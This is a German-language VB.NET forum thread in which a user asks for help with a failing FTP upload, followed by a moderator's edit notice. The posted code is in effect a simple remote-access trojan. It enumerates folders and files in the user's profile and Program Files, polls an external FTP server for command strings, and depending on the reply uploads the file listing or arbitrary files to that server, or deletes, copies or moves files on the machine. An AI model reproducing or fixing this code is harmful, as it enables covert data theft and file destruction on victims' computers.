Unbekannter Fehler bei Datei-Upload

  • VB.NET

Es gibt 1 Antwort in diesem Thema. Der letzte Beitrag () ist von RodFromGermany.

    Unbekannter Fehler bei Datei-Upload

    hei Leute ich hab ein programm das mit einem ftp server kommuniziert und eins geht nicht und zwar es zu uploaden ich nehme an das der text in der textbox nicht angezeigt wird denn es kommt immer das es kein Dateiname sein soll weil ja "" drin steht in der Textbox3 wo das ja drinn stehen sollte.

    VB.NET-Quellcode

    1. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    2. Timer1.Start()
    3. RichTextBox1.Text = GetList("c:\")
    5. Dim Username As String = Environment.UserName
    6. Dim wct As New Net.WebClient
    7. wct.Credentials = New Net.NetworkCredential("", "")
    8. wct.UploadString("ftp://22up22.download.ac/" & Username & ".txt", "")
    9. wct.UploadString("ftp://22up22.download.ac/" & Username & "1.txt", "")
    10. wct.UploadString("ftp://22up22.download.ac/" & Username & "2.txt", "")
    12. End Sub
    13. Public Function GetList(ByVal Root As String) As String
    14. Dim Username As String = Environment.UserName
    15. Dim tmp As String = ""
    16. Dim info1 As New IO.DirectoryInfo("C:\Program Files")
    17. Dim info2 As New IO.DirectoryInfo(My.Computer.FileSystem.GetFileInfo("C:\Program Files").Directory.ToString)
    18. Dim info3 As New IO.DirectoryInfo("C:\Users\" & Username)
    19. Dim info4 As New IO.DirectoryInfo("C:\Users\" & Username & "\Documents\Desktop")
    21. Dim dicts() As IO.DirectoryInfo = info1.GetDirectories
    22. Dim files() As IO.FileInfo = info2.GetFiles
    23. Dim dicts1() As IO.DirectoryInfo = info3.GetDirectories
    24. Dim files1() As IO.FileInfo = info3.GetFiles
    25. Dim dicts2() As IO.DirectoryInfo = info4.GetDirectories
    26. Dim files2() As IO.FileInfo = info4.GetFiles
    28. For Each d In dicts
    29. tmp &= "Ordner: " & d.FullName & Environment.NewLine
    30. Next
    31. For Each f In files
    32. tmp &= "Datei: " & f.FullName & Environment.NewLine
    33. Next
    34. For Each d In dicts1
    35. tmp &= "Ordner: " & d.FullName & Environment.NewLine
    36. Next
    37. For Each f In files1
    38. tmp &= "Datei: " & f.FullName & Environment.NewLine
    39. Next
    40. For Each d In dicts2
    41. tmp &= "Ordner: " & d.FullName & Environment.NewLine
    42. Next
    43. For Each f In files2
    44. tmp &= "Datei: " & f.FullName & Environment.NewLine
    45. Next
    47. Return tmp
    48. End Function
    50. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    51. Dim wct2 As New Net.WebClient
    52. wct2.Credentials = New Net.NetworkCredential("", "")
    53. wct2.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "2.txt")
    54. TextBox3.Text = wct2.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "2.txt")
    56. Dim wct As New Net.WebClient
    57. wct.Credentials = New Net.NetworkCredential("", "")
    58. wct.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt")
    59. TextBox1.Text = wct.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt")
    61. Dim wct1 As New Net.WebClient
    62. wct1.Credentials = New Net.NetworkCredential("", "")
    63. wct1.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "1.txt")
    64. TextBox2.Text = wct1.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "1.txt")
    66. If TextBox1.Text = "ok4" Then
    67. My.Computer.FileSystem.MoveFile(TextBox2.Text, TextBox3.Text)
    68. End If
    70. If TextBox1.Text = "ok" Then
    71. Dim wct4 As New Net.WebClient
    72. wct4.Credentials = New Net.NetworkCredential("", "")
    73. wct4.UploadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt", RichTextBox1.Text)
    74. End If
    76. If TextBox1.Text = "ok2" Then
    77. My.Computer.FileSystem.DeleteFile(TextBox2.Text)
    78. End If
    80. If TextBox1.Text = "ok3" Then
    81. My.Computer.FileSystem.CopyFile(TextBox2.Text, TextBox3.Text)
    82. End If
    84. If TextBox1.Text = "ok1" Then
    85. My.Computer.Network.UploadFile(TextBox2.Text, "ftp://22up22.download.ac/" & TextBox3.Text, "", "")
    86. End If
    87. End Sub
    88. End Class


    Edit by Manschula: Auf das korrekte Einstellen von Beiträgen/Themen sowie auf eine sinnvolle Fehler-/Problembeschreibung achten! --> Thema verschoben, VB-Tag für Codeausschnitt eingefügt, unsinniger Titel bereinigt

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Manschula“ ()